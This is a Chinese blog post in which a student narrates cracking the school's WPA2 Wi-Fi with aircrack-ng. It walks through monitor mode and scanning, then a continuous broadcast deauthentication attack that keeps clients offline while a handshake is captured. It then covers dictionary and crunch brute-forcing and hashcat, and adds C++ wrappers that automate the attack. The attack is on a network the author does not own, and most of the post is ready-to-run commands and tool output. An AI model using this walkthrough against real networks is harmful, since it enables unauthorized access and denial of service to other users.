使用 Aircrack-ng 进行 Wi-Fi 渗透

使用 Aircrack-ng 进行 Wi-Fi 渗透

说明

为保护隐私,本文部分内容为虚构。本文提到的所有 MAC 地址等均已替换。

版权

知识共享许可协议
本作品采用知识共享署名-相同方式共享 4.0 国际许可协议进行许可。

警告

请勿使用本文提到的内容违反法律
本文不提供任何担保

环境

操作系统:Kali Linux
无线网卡:树莓派
Aircrack:Aircrack-ng 1.2 rc4

Preface

你好,我是还没想好昵称的新建p,高中三年级生。

最近又要考试,作业mia多,我好焦躁。

所以,我准备用 aircrack-ng 对学校的无线网进行破解。Aircrack-ng 是一套 Wi-Fi 攻击工具。其中的 ng 是 next generation 的缩写。

本文分两部分。Part 0: Offense 讲述如何获取到握手包, Part 1: Cracking 讲述如何破解握手包获取密码。

Part 0: Offense

中午吃完饭,我匆匆回到教室,环顾四周,基本没有人。我打开树莓派。

监听模式

首先,使用 airmon-ng 将无线网卡改为监听模式。其中的 wlan0 是无线网卡的名字。

airmon-ng start wlan0

因为有其他进程使用网卡,所以会有如下提示。

Found 3 processes that could cause trouble.
Kill them using 'airmon-ng check kill' before putting
the card in monitor mode, they will interfere by changing channels
and sometimes putting the interface back in managed mode

    PID Name
    233 dhclient
   2333 NetworkManager
  23333 wpa_supplicant

PHY     Interface       Driver          Chipset

phy0    wlan0           brcmfmac        Broadcom 43430

                (mac80211 monitor mode vif enabled for [phy0]wlan0 on [phy0]wlan0mon)
                (mac80211 station mode vif disabled for [phy0]wlan0)

此时,使用如下命令杀死这些进程。

airmon-ng check kill

提示

当执行上述命令后,网络将不可用。

此时,再次将网卡设为监听模式。

airmon-ng start wlan0

使用 ifconfigiwconfig 可以发现网卡已经变为 wlan0mon。

注意

有些网卡不支持监听模式。

扫描 AP

使用如下命令,对附近的无线路由器进行扫描。

airodump-ng wlan0mon

我们可以得到类似这样的内容。

 CH  6 ][ Elapsed: 6 s ][ 2020-02-30 23:33

 BSSID              PWR  Beacons    #Data, #/s  CH   MB   ENC CIPHER  AUTH ESSID

 66:66:66:66:66:66  -85        4        0    0  11  540   WPA2 CCMP   PSK  <length:  0>
 DE:AD:BE:EF:00:00  -15       28      171   26   7   54   WPA2 CCMP   PSK  还没想好昵称的新建p
 12:34:56:78:90:AB  -73       20        1    0   8   54   WPA2 CCMP   PSK  nixianghaonichengleme
 23:33:33:33:33:33  -86        2        0    0   1   54   WPA2 CCMP   PSK  school-wireless
 
 BSSID              STATION            PWR   Rate    Lost    Frames  Notes  Probes

 DE:AD:BE:EF:00:00  22:33:66:99:23:33  -40    0e- 0e    79      178
 

过了好长时间,我总算看到了我们学校的 Wi-Fi, ESSID 是 school-wireless,信道 (CH) 是 1 ,BSSID 是 23:33:33:33:33:33。我的班级离路由器比较远,可以看到,PWR 的绝对值很大。PWR 的绝对值越大,说明信号越不好。

我抬头环顾四周,发现周围没有人注意到我。我赶紧拿出草稿纸,把 BSSID 和 CH 抄下来。

攻击客户端

首先,扫描连接到这个路由器的客户端。

airodump-ng -c 1 --bssid 23:33:33:33:33:33 -w hack-school wlan0mon

其中,-c 1 指的是信道是 1 , --bssid路由器的 MAC 地址-w hack-school 指的是将包保存为文件 hack-school。

得到了类似如下的内容。(上面的是路由器,下面的是客户端)


 CH  1 ][ Elapsed: 233 s ][ 2020-02-30 23:33

 BSSID              PWR RXQ  Beacons    #Data, #/s  CH   MB   ENC CIPHER  AUTH ESSID

 23:33:33:33:33:33  -86 100       55        0    0   1   54   WPA2 CCMP   PSK  school-wireless

 BSSID              STATION            PWR   Rate    Lost    Frames  Notes  Probes

 23:33:33:33:33:33  99:99:99:99:99:99  -54    0 - 6      0        1
 23:33:33:33:33:33  AA:BB:CC:DD:EE:FF  -54    0 - 6      0        1

接下来,要对连接到这个无线网的人进行攻击。这里,我使用了 冲突模式 DeAuthenticate 攻击。

冲突模式大概的原理是使已经合法连接到网络的人断开与路由器的连接,并使其重连,在重连的过程中捕获验证数据包。

我打开了新的终端不关闭刚才的 airodump-ng,然后输入

aireplay-ng -0 0 -a 23:33:33:33:33:33 wlan0mon

其中,-0 代表冲突模式0 代表攻击次数,一般设为 2~3 次,如果是 0 则为一直攻击,客户端会被一直离线-a 23:33:33:33:33:33路由器的 MAC 地址

我并没有加参数 -c xx:xx:xx:xx:xx:xx,这个参数是指定攻击的客户端,会增加攻击的成功率。因为在学校不方便带键盘(),树莓派的触摸屏也不方便打字,所以就省略了。

刚才的命令会得到这样的信息。

23:33:33  Waiting for beacon frame (BSSID: 23:33:33:33:33:33) on channel 1
NB: this attack is more effective when targeting
a connected wireless client (-c <client's mac>).
23:33:34  Sending DeAuth (code 7) to broadcast -- BSSID: [23:33:33:33:33:33]
23:33:34  Sending DeAuth (code 7) to broadcast -- BSSID: [23:33:33:33:33:33]
23:33:34  Sending DeAuth (code 7) to broadcast -- BSSID: [23:33:33:33:33:33]
23:33:34  Sending DeAuth (code 7) to broadcast -- BSSID: [23:33:33:33:33:33]
23:33:34  Sending DeAuth (code 7) to broadcast -- BSSID: [23:33:33:33:33:33]
23:33:35  Sending DeAuth (code 7) to broadcast -- BSSID: [23:33:33:33:33:33]

回到刚才的终端,即可发现第一行从

 CH  1 ][ Elapsed: 233 s ][ 2020-02-30 23:33

变成了

 CH  1 ][ Elapsed: 234 s ][ 2020-02-30 23:33 ][ PMKID found: 23:33:33:33:33:33

继续等待,当获得握手包时,就会变成

 CH  1 ][ Elapsed: 235 s ][ 2020-02-20 23:33 ][ WPA handshake: 23:33:33:33:33:33

注意: 在获取到 WPA handshake 后可能还会找到 PMKID。

看到 WPA handshake 即表明攻击成功。我高兴极了,在两个终端中, 按下 Ctrl + C,停止攻击和扫描。

此时 ls -l,即可看到捕获的文件。

-rw-r--r-- 1 root root 1234567 Feb 30 23:33 hack-school-01.cap
-rw-r--r-- 1 root root     233 Feb 30 23:33 hack-school-01.csv
-rw-r--r-- 1 root root     666 Feb 30 23:33 hack-school-01.kismet.csv
-rw-r--r-- 1 root root    2233 Feb 30 23:33 hack-school-01.kismet.netxml
-rw-r--r-- 1 root root  543210 Feb 30 23:33 hack-school-01.log.csv

抬头一看,不知何时班主任老师站在教室门口……

信息

为了便于在学校运行,我把这些命令写成了 C++ 程序。

hack-1.cpp

#include <cstdio>
#include <cstdlib>
#include <unistd.h>
int main (void) {
	system("airmon-ng start wlan0");
	system("clear");
	system("arimon-ng check kill");
	system("airmon-ng start wlan0");
	system("airodump-ng -c 1 --bssid 23:33:33:33:33:33 -w hack-school wlan0mon");
	return 0;
}

hack-2.cpp

#include <cstdio>
#include <cstdlib>
#include <unistd.h>
int main (void) {
	printf("WARNING: Clients may unable to access the network!\n");
	sleep(3);
	system("aireplay-ng -0 0 -a 23:33:33:33:33:33 wlan0mon");
	return 0;
}

Part 1: Cracking

放学已经是夜晚,写完作业已经凌晨。我打开工作站,首先尝试密码字典 rockyou.txt。

gunzip /usr/share/wordlists/rockyou.txt.gz
aircrack-ng hack-school-01.cap -b 23:33:33:33:33:33 -w /usr/share/wordlists/rockyou.txt

会看到如下界面。

                                 Aircrack-ng 1.2 rc4


                  [00:02:33] 23333 keys tested (23333.33 k/s)


                      Current passphrase: 23333333


     Master Key     : 23 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 
                      23 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 
                      
     Transient Key  : 23 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 
                      23 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 
                      23 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 
                      23 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 

     EAPOL HMAC     : 23 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 

没过多久,rockyou.txt 字典就已经试完了,没有找到密码。我又尝试了其他字典,也没有发现密码。

我只好自己生成字典,尝试 8 位数字。

crunch 8 8 1234567890 | aircrack-ng hack-school-01.cap -b 23:33:33:33:33:33 -w -

其中的 crunch 用来生成字典,第一个 8 是最短长度,第二个 8 是最长长度。使用管道将密码在线传给 aircrack-ng。

注意

如果自己生成字典,请考虑破解将要花费的时间和性能。

如果您拥有一个不错的 GPU,可以考虑用 hashcat 命令使用 GPU 进行破解。

wget https://github.com/hashcat/hashcat-utils/archive/master.zip # 获取源码
unzip master.zip # 解压
cd hashcat-utils-master/src/
make # 编译
./cap2hccapx.bin hack-school-01.cap hack-school-01 # 将 cap 文件转化成 hccap
hashcat -m 2500 hack-school-01.hccap

经过多次尝试,不断地选择生成更可能的字典,我终于看到屏幕上的 Key Found。渗透完成!

  • 6
    点赞
  • 26
    收藏
    觉得还不错? 一键收藏
  • 5
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 5
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值